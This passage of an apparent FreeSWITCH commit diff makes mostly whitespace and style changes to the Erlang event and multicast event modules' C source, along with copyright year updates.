+static listener_t *new_listener(struct ei_cnode_s *ec, int clientfd)
{
switch_memory_pool_t *listener_pool = NULL;
- listener_t* listener = NULL;
+ listener_t *listener = NULL;
if (switch_core_new_memory_pool(&listener_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "OH OH no pool\n");
@@ -1080,7 +1088,7 @@
switch_thread_rwlock_create(&listener->rwlock, listener_pool);
switch_queue_create(&listener->event_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
switch_queue_create(&listener->log_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
-
+
listener->sockfd = clientfd;
listener->pool = listener_pool;
listener_pool = NULL;
@@ -1095,24 +1103,24 @@
return listener;
}
-static listener_t* new_outbound_listener(char* node)
+static listener_t *new_outbound_listener(char *node)
{
- listener_t* listener = NULL;
+ listener_t *listener = NULL;
struct ei_cnode_s ec;
int clientfd;
- if (SWITCH_STATUS_SUCCESS==initialise_ei(&ec)) {
+ if (SWITCH_STATUS_SUCCESS == initialise_ei(&ec)) {
#ifdef WIN32
WSASetLastError(0);
#else
errno = 0;
#endif
- if ((clientfd=ei_connect(&ec,node)) < 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error connecting to node %s (erl_errno=%d, errno=%d)!\n",node,erl_errno,errno);
+ if ((clientfd = ei_connect(&ec, node)) < 0) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error connecting to node %s (erl_errno=%d, errno=%d)!\n", node, erl_errno, errno);
return NULL;
}
- listener = new_listener(&ec,clientfd);
- listener->peer_nodename = switch_core_strdup(listener->pool,node);
+ listener = new_listener(&ec, clientfd);
+ listener->peer_nodename = switch_core_strdup(listener->pool, node);
}
return listener;
}
@@ -1122,8 +1130,8 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_channel_state_t state = switch_channel_get_state(channel);
session_elem_t *session_element = switch_channel_get_private(channel, "_erlang_session_");
- /*listener_t* listener = switch_channel_get_private(channel, "_erlang_listener_");*/
-
+ /*listener_t* listener = switch_channel_get_private(channel, "_erlang_listener_"); */
+
if (session_element) {
session_element->channel_state = state;
if (state == CS_DESTROY) {
@@ -1132,17 +1140,18 @@
switch_set_flag(session_element, LFLAG_SESSION_COMPLETE);
}
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "unable to update channel state for %s to %s\n", switch_core_session_get_uuid(session), switch_channel_state_name(state));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "unable to update channel state for %s to %s\n", switch_core_session_get_uuid(session),
+ switch_channel_state_name(state));
}
return SWITCH_STATUS_SUCCESS;
}
-session_elem_t *session_elem_create(listener_t* listener, switch_core_session_t *session)
+session_elem_t *session_elem_create(listener_t *listener, switch_core_session_t *session)
{
/* create a session list element */
switch_memory_pool_t *session_elem_pool;
- session_elem_t* session_element;/* = malloc(sizeof(*session_element));*/
+ session_elem_t *session_element; /* = malloc(sizeof(*session_element)); */
switch_channel_t *channel = switch_core_session_get_channel(session);
if (switch_core_new_memory_pool(&session_elem_pool) != SWITCH_STATUS_SUCCESS) {
@@ -1157,51 +1166,51 @@
memcpy(session_element->uuid_str, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
session_element->pool = session_elem_pool;
session_elem_pool = NULL;
-
+
switch_queue_create(&session_element->event_queue, SWITCH_CORE_QUEUE_LEN, session_element->pool);
switch_mutex_init(&session_element->flag_mutex, SWITCH_MUTEX_NESTED, session_element->pool);
-
+
switch_channel_set_private(channel, "_erlang_session_", session_element);
switch_channel_set_private(channel, "_erlang_listener_", listener);
-
+
switch_core_event_hook_add_state_change(session, state_handler);
-
+
return session_element;
}
-session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session)
+session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session)
{
/* create a session list element */
- session_elem_t* session_element = session_elem_create(listener, session);
+ session_elem_t *session_element = session_elem_create(listener, session);
- session_element->process.type = ERLANG_REG_PROCESS;
- session_element->process.reg_name = switch_core_session_strdup(session, reg_name);
- switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
- /* attach the session to the listener */
- add_session_elem_to_listener(listener,session_element);
+ session_element->process.type = ERLANG_REG_PROCESS;
+ session_element->process.reg_name = switch_core_session_strdup(session, reg_name);
+ switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
+ /* attach the session to the listener */
+ add_session_elem_to_listener(listener, session_element);
return session_element;
}
-session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session)
+session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session)
{
/* create a session list element */
- session_elem_t* session_element = session_elem_create(listener, session);
+ session_elem_t *session_element = session_elem_create(listener, session);
session_element->process.type = ERLANG_PID;
memcpy(&session_element->process.pid, pid, sizeof(erlang_pid));
switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
/* attach the session to the listener */
- add_session_elem_to_listener(listener,session_element);
+ add_session_elem_to_listener(listener, session_element);
ei_link(listener, ei_self(listener->ec), pid);
-
+
return session_element;
}
-session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session)
+session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session)
{
/* create a session list element */
- session_elem_t* session_element = session_elem_create(listener, session);
+ session_elem_t *session_element = session_elem_create(listener, session);
char hash[100];
int i = 0;
void *p = NULL;
@@ -1209,9 +1218,9 @@
erlang_ref ref;
switch_set_flag(session_element, LFLAG_WAITING_FOR_PID);
-
+
/* attach the session to the listener */
- add_session_elem_to_listener(listener,session_element);
+ add_session_elem_to_listener(listener, session_element);
ei_init_ref(listener->ec, &ref);
ei_hash_ref(&ref, hash);
@@ -1254,20 +1263,20 @@
/*
char *argv[1];
ei_spawn(listener->ec, listener->sockfd, &ref, module, function, 0, argv);
- */
+ */
}
/* loop until either we timeout or we get a value that's not the waiting marker */
while (!(p = switch_core_hash_find(listener->spawn_pid_hash, hash)) || p == &globals.WAITING) {
- if (i > 50) { /* half a second timeout */
+ if (i > 50) { /* half a second timeout */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out when waiting for outbound pid\n");
- remove_session_elem_from_listener_locked(listener,session_element);
- switch_core_hash_insert(listener->spawn_pid_hash, hash, &globals.TIMEOUT); /* TODO lock this? */
+ remove_session_elem_from_listener_locked(listener, session_element);
+ switch_core_hash_insert(listener->spawn_pid_hash, hash, &globals.TIMEOUT); /* TODO lock this? */
destroy_session_elem(session_element);
return NULL;
}
i++;
- switch_yield(10000); /* 10ms */
+ switch_yield(10000); /* 10ms */
}
switch_core_hash_delete(listener->spawn_pid_hash, hash);
@@ -1277,26 +1286,27 @@
session_element->process.type = ERLANG_PID;
memcpy(&session_element->process.pid, pid, sizeof(erlang_pid));
-
+
switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
switch_clear_flag(session_element, LFLAG_OUTBOUND_INIT);
switch_clear_flag(session_element, LFLAG_WAITING_FOR_PID);
ei_link(listener, ei_self(listener->ec), pid);
- switch_safe_free(pid); /* malloced in handle_ref_tuple */
+ switch_safe_free(pid); /* malloced in handle_ref_tuple */
return session_element;
}
-int count_listener_sessions(listener_t *listener) {
- session_elem_t *last,*sp;
+int count_listener_sessions(listener_t *listener)
+{
+ session_elem_t *last, *sp;
int count = 0;
switch_mutex_lock(listener->session_mutex);
sp = listener->session_list;
last = NULL;
- while(sp) {
+ while (sp) {
count++;
last = sp;
sp = sp->next;
@@ -1315,18 +1325,19 @@
{
char *reg_name = NULL, *node, *module = NULL, *function = NULL;
listener_t *listener;
- int argc = 0, argc2=0;
- char *argv[80] = { 0 }, *argv2[80] = { 0 };
+ int argc = 0, argc2 = 0;
+ char *argv[80] = { 0 }, *argv2[80] = {
+ 0};
char *mydata, *myarg;
- char uuid[SWITCH_UUID_FORMATTED_LENGTH+1];
+ char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
switch_bool_t new_session = SWITCH_FALSE;
- session_elem_t* session_element=NULL;
+ session_elem_t *session_element = NULL;
/* process app arguments */
if (data && (mydata = switch_core_session_strdup(session, data))) {
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
- } /* XXX else? */
-
+ }
+ /* XXX else? */
memcpy(uuid, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
if (argc < 2) {
@@ -1358,7 +1369,7 @@
return;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "enter erlang_outbound_function %s %s\n",argv[0], node);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "enter erlang_outbound_function %s %s\n", argv[0], node);
/* first work out if there is a listener already talking to the node we want to talk to */
listener = find_listener(node);
@@ -1367,8 +1378,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating new listener for session\n");
new_session = SWITCH_TRUE;
listener = new_outbound_listener(node);
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Using existing listener for session\n");
}
@@ -1381,10 +1391,10 @@
if (module && function) {
switch_core_hash_init(&listener->spawn_pid_hash, listener->pool);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating new spawned session for listener\n");
- session_element=attach_call_to_spawned_process(listener, module, function, session);
+ session_element = attach_call_to_spawned_process(listener, module, function, session);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating new registered session for listener\n");
- session_element=attach_call_to_registered_process(listener, reg_name, session);
+ session_element = attach_call_to_registered_process(listener, reg_name, session);
}
if (session_element) {
@@ -1421,8 +1431,8 @@
/* process app arguments */
if (data && (mydata = switch_core_session_strdup(session, data))) {
argc = switch_separate_string(mydata, ' ', argv, 3);
- } /* XXX else? */
-
+ }
+ /* XXX else? */
if (argc < 3) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Parse Error - need node, registered name and message!\n");
return;
@@ -1431,7 +1441,7 @@
reg_name = argv[0];
node = argv[1];
- /*switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "sendmsg: {%s, %s} ! %s\n", reg_name, node, argv[2]);*/
+ /*switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "sendmsg: {%s, %s} ! %s\n", reg_name, node, argv[2]); */
ei_x_encode_tuple_header(&buf, 2);
ei_x_encode_atom(&buf, "freeswitch_sendmsg");
@@ -1461,9 +1471,7 @@
const char *usage_string = "USAGE:\n"
"--------------------------------------------------------------------------------\n"
- "erlang listeners\n"
- "erlang sessions <node_name>\n"
- "--------------------------------------------------------------------------------\n";
+ "erlang listeners\n" "erlang sessions <node_name>\n" "--------------------------------------------------------------------------------\n";
if (zstr(cmd)) {
stream->write_function(stream, "%s", usage_string);
@@ -1507,8 +1515,9 @@
found = 1;
switch_mutex_lock(l->session_mutex);
if ((sp = l->session_list)) {
- while(sp) {
- stream->write_function(stream, "Outbound session for %s in state %s\n", sp->uuid_str, switch_channel_state_name(sp->channel_state));
+ while (sp) {
+ stream->write_function(stream, "Outbound session for %s in state %s\n", sp->uuid_str,
+ switch_channel_state_name(sp->channel_state));
sp = sp->next;
}
} else {
@@ -1528,7 +1537,7 @@
goto done;
}
-done:
+ done:
switch_safe_free(mycmd);
return status;
}
@@ -1538,11 +1547,11 @@
{
switch_application_interface_t *app_interface;
switch_api_interface_t *api_interface;
-
+
memset(&prefs, 0, sizeof(prefs));
-
+
switch_mutex_init(&globals.listener_mutex, SWITCH_MUTEX_NESTED, pool);
-
+
/* intialize the unique reference stuff */
switch_mutex_init(&globals.ref_mutex, SWITCH_MUTEX_NESTED, pool);
globals.reference0 = 0;
@@ -1570,8 +1579,10 @@
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
- SWITCH_ADD_APP(app_interface, "erlang", "Yield call control to an erlang process", "Connect to erlang", erlang_outbound_function, "<registered name> <node@host>", SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "erlang_sendmsg", "Send a message to an erlang process", "Connect to erlang", erlang_sendmsg_function, "<registered name> <node@host> <message>", SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "erlang", "Yield call control to an erlang process", "Connect to erlang", erlang_outbound_function,
+ "<registered name> <node@host>", SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "erlang_sendmsg", "Send a message to an erlang process", "Connect to erlang", erlang_sendmsg_function,
+ "<registered name> <node@host> <message>", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_API(api_interface, "erlang", "erlang information", erlang_cmd, "<command> [<args>]");
switch_console_set_complete("add erlang listeners");
@@ -1598,7 +1609,7 @@
WSADATA wsaData;
wVersionRequested = MAKEWORD(2, 2);
-
+
if (WSAStartup(wVersionRequested, &wsaData) != 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Winsock initialization failed, oh well\n");
return SWITCH_STATUS_TERM;
@@ -1644,21 +1655,21 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to allocate socket on %s:%u\n", prefs.ip, prefs.port);
goto sock_fail;
}
-
#ifdef WIN32
- if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *)&on, sizeof(on))) {
+ if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on))) {
#else
if (setsockopt(listen_list.sockfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on))) {
#endif
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n", prefs.ip, prefs.port, strerror(errno));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to enable SO_REUSEADDR for socket on %s:%u : %s\n", prefs.ip, prefs.port,
+ strerror(errno));
goto sock_fail;
}
-
- if (bind(listen_list.sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
+
+ if (bind(listen_list.sockfd, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to bind to %s:%u\n", prefs.ip, prefs.port);
goto sock_fail;
}
-
+
if (listen(listen_list.sockfd, 5) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to listen on %s:%u\n", prefs.ip, prefs.port);
goto sock_fail;
@@ -1675,7 +1686,7 @@
ei_set_compat_rel(prefs.compat_rel);
}
- if (SWITCH_STATUS_SUCCESS!=initialise_ei(&ec)) {
+ if (SWITCH_STATUS_SUCCESS != initialise_ei(&ec)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
goto init_failed;
}
@@ -1684,7 +1695,8 @@
if ((epmdfd = ei_publish(&ec, prefs.port)) == -1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to publish port to empd, trying to start empd via system()\n");
if (system("epmd -daemon")) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+ "Failed to start empd manually! Is epmd in $PATH? If not, start it yourself or run an erl shell with -sname or -name\n");
goto init_failed;
}
switch_yield(100000);
@@ -1707,7 +1719,7 @@
#else
errno = 0;
#endif
- if ((clientfd = ei_accept_tmo(&ec, (int)listen_list.sockfd, &conn, 100)) == ERL_ERROR) {
+ if ((clientfd = ei_accept_tmo(&ec, (int) listen_list.sockfd, &conn, 100)) == ERL_ERROR) {
if (prefs.done) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Shutting Down\n");
} else if (erl_errno == ETIMEDOUT) {
@@ -1722,22 +1734,22 @@
} else {
/* if errno didn't get set, assume nothing *too* horrible occured */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
- "Ignorable error in ei_accept - probable bad client version, bad cookie or bad nodename\n");
+ "Ignorable error in ei_accept - probable bad client version, bad cookie or bad nodename\n");
continue;
}
break;
}
- listener = new_listener(&ec,clientfd);
+ listener = new_listener(&ec, clientfd);
if (listener) {
/* store the IP and node name we are talking with */
switch_inet_ntop(AF_INET, conn.ipadr, listener->remote_ip, sizeof(listener->remote_ip));
- listener->peer_nodename = switch_core_strdup(listener->pool,conn.nodename);
+ listener->peer_nodename = switch_core_strdup(listener->pool, conn.nodename);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching listener, connection from node %s, ip %s\n", conn.nodename, listener->remote_ip);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching listener, connection from node %s, ip %s\n", conn.nodename,
+ listener->remote_ip);
launch_listener_thread(listener);
- }
- else
+ } else
/* if we fail to create a listener (memory error), then the module will exit */
break;
}
@@ -1748,7 +1760,7 @@
ei_unpublish(&ec);
close_socket(&epmdfd);
-init_failed:
+ init_failed:
close_socket(&listen_list.sockfd);
if (pool) {
switch_core_destroy_memory_pool(&pool);
@@ -1770,13 +1782,13 @@
listener_t *l;
int sanity = 0;
- if (prefs.done == 0) /* main thread might already have exited */
+ if (prefs.done == 0) /* main thread might already have exited */
prefs.done = 1;
switch_log_unbind_logger(socket_logger);
- /*close_socket(&listen_list.sockfd);*/
-
+ /*close_socket(&listen_list.sockfd); */
+
while (prefs.threads || prefs.done == 1) {
switch_yield(10000);
if (++sanity == 1000) {
@@ -1799,7 +1811,7 @@
switch_mutex_unlock(globals.listener_mutex);
- switch_sleep(1500000); /* sleep for 1.5 seconds */
+ switch_sleep(1500000); /* sleep for 1.5 seconds */
switch_safe_free(prefs.ip);
switch_safe_free(prefs.cookie);
Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -33,8 +33,8 @@
*/
typedef enum {
- LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
- LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
+ LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
+ LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
LFLAG_SESSION_ALIVE = (1 << 2),
LFLAG_SESSION_COMPLETE = (1 << 3),
} session_flag_t;
@@ -114,7 +114,7 @@
uint32_t timeout;
uint32_t id;
char remote_ip[50];
- /*switch_port_t remote_port;*/
+ /*switch_port_t remote_port; */
struct listener *next;
};
@@ -143,8 +143,8 @@
unsigned int reference0;
unsigned int reference1;
unsigned int reference2;
- char TIMEOUT; /* marker for a timed out request */
- char WAITING; /* marker for a request waiting for a response */
+ char TIMEOUT; /* marker for a timed out request */
+ char WAITING; /* marker for a request waiting for a response */
switch_mutex_t *ref_mutex;
};
typedef struct globals_struct globals_t;
@@ -200,20 +200,20 @@
/* function prototypes */
/* handle_msg.c */
-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
+int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
/* ei_helpers.c */
-void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to);
-void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event);
-void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag);
-int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function);
-int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv);
-void ei_init_ref(struct ei_cnode_s *ec, erlang_ref *ref);
-void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send);
-void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send);
-int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf);
-void ei_hash_ref(erlang_ref *ref, char *output);
-int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2);
+void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to);
+void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event);
+void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag);
+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function);
+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv);
+void ei_init_ref(struct ei_cnode_s *ec, erlang_ref * ref);
+void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send);
+void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send);
+int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf);
+void ei_hash_ref(erlang_ref * ref, char *output);
+int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2);
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst);
switch_status_t initialise_ei(struct ei_cnode_s *ec);
#define ei_encode_switch_event(_b, _e) ei_encode_switch_event_tag(_b, _e, "event")
@@ -228,14 +228,14 @@
break; \
}
-#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
+#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
/*#define errno WSAGetLastError()*/
#endif
/* mod_erlang_event.c */
-session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session);
-session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session);
-session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session);
+session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session);
+session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session);
+session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session);
/* For Emacs:
* Local Variables:
Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -37,7 +37,7 @@
#define MULTICAST_BUFFSIZE 65536
/* magic byte sequence */
-static unsigned char MAGIC[] = {226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166};
+static unsigned char MAGIC[] = { 226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166 };
static char *MARKER = "1";
SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load);
@@ -87,7 +87,7 @@
uint32_t count = 0;
uint8_t custom = 0;
-
+
globals.ttl = 1;
globals.key_count = 0;
@@ -116,7 +116,7 @@
#endif
} else if (!strcasecmp(var, "ttl")) {
int ttl = atoi(val);
- if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
+ if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
globals.ttl = (uint8_t) ttl;
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid ttl '%s' specified, using default of 1\n", val);
@@ -176,22 +176,20 @@
}
if (event->subclass_name && (!strcmp(event->subclass_name, MULTICAST_EVENT) ||
- !strcmp(event->subclass_name, MULTICAST_PEERUP) ||
- !strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
- char * event_name, *sender;
+ !strcmp(event->subclass_name, MULTICAST_PEERUP) || !strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
+ char *event_name, *sender;
if ((event_name = switch_event_get_header(event, "orig-event-name")) &&
- !strcasecmp(event_name, "HEARTBEAT") &&
- (sender = switch_event_get_header(event, "orig-multicast-sender"))) {
+ !strcasecmp(event_name, "HEARTBEAT") && (sender = switch_event_get_header(event, "orig-multicast-sender"))) {
struct peer_status *p;
time_t now = switch_epoch_time_now(NULL);
-
+
if (!(p = switch_core_hash_find(globals.peer_hash, sender))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Host %s not already in hash\n", sender);
p = switch_core_alloc(module_pool, sizeof(struct peer_status));
p->active = SWITCH_FALSE;
p->lastseen = 0;
- /*} else {*/
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen);*/
+ /*} else { */
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen); */
}
if (!p->active) {
@@ -200,7 +198,7 @@
char lastseen[21];
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", sender);
if (p->lastseen) {
- switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)p->lastseen);
+ switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) p->lastseen);
} else {
switch_snprintf(lastseen, sizeof(lastseen), "%s", "Never");
}
@@ -246,11 +244,11 @@
time_t now = switch_epoch_time_now(NULL);
struct peer_status *last;
char *host;
-
+
for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
switch_hash_this(cur, &key, &keylen, &value);
- host = (char*) key;
- last = (struct peer_status*) value;
+ host = (char *) key;
+ last = (struct peer_status *) value;
if (last->active && (now - (last->lastseen)) > 60) {
switch_event_t *local_event;
@@ -258,7 +256,7 @@
if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERDOWN) == SWITCH_STATUS_SUCCESS) {
char lastseen[21];
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", host);
- switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)last->lastseen);
+ switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) last->lastseen);
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Lastseen", lastseen);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Peer %s has gone down; last seen: %s\n", host, lastseen);
@@ -292,14 +290,14 @@
#ifdef HAVE_OPENSSL
int outlen, tmplen;
EVP_CIPHER_CTX ctx;
- char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+ char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
switch_uuid_t uuid;
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
- len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char*)MAGIC);
+ len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char *) MAGIC);
#else
- len = strlen(packet) + sizeof(globals.host_hash) + strlen((char*) MAGIC);
+ len = strlen(packet) + sizeof(globals.host_hash) + strlen((char *) MAGIC);
#endif
buf = malloc(len + 1);
memset(buf, 0, len + 1);
@@ -313,20 +311,20 @@
EVP_CIPHER_CTX_init(&ctx);
EVP_EncryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
- EVP_EncryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
- EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
- &outlen, (unsigned char*) packet, (int) strlen(packet));
- EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
- &tmplen, (unsigned char*) MAGIC, (int) strlen((char *) MAGIC));
+ EVP_EncryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
